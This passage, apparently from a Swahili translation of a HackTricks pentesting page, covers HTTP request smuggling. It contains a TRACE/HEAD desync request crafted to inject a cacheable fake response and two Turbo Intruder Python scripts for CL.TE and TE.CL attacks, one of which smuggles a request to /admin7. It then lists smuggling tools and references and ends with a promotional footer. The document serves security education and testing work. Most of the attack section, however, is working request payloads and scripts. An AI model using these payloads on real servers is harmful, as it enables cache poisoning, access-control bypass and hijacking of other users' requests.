Endelea kufuata [**chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyoelezwa, kuficha ombi la HEAD na ombi la TRACE inawezekana **kudhibiti baadhi ya data iliyorudishwa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unajumuisha jibu la ombi la TRACE.
Hivyo basi, wazo jipya litakuwa kwamba, kwa kujua hii Content-Length na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na jibu sahihi la HTTP baada ya byte ya mwisho ya Content-Length, kuruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu lifuatalo (ambalo linaweza kutumika kufanya sumu ya cache).
Mfano:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
```
Itakuwaleta majibu haya (tazama jinsi jibu la HEAD lina Content-Length likifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu sahihi la HTTP linasafirishwa):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
```
### Kutumia Silaha ya Udukuzi wa Ombi la HTTP na Kutengeneza Kutofautisha Majibu ya HTTP
Je, umepata udhaifu wa Udukuzi wa Ombi la HTTP na hujui jinsi ya kuutumia. Jaribu njia hizi nyingine za udukuzi:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
### Njia Nyingine za Udukuzi wa Ombi la HTTP
* Udukuzi wa Ombi la Kivinjari (Upande wa Mteja)
{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}
* Udukuzi wa Ombi katika Kupunguza Hadhi ya HTTP/2
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}
## Skripti za Turbo Intruder
### CL.TE
Kutoka [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
### TE.CL
Kutoka: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
## Vifaa
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni Fuzzer ya HTTP iliyo na msingi wa sarufi inayoweza kutumika kutambua tofauti za udukuzi wa ombi la kutatanisha.
## Marejeo
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.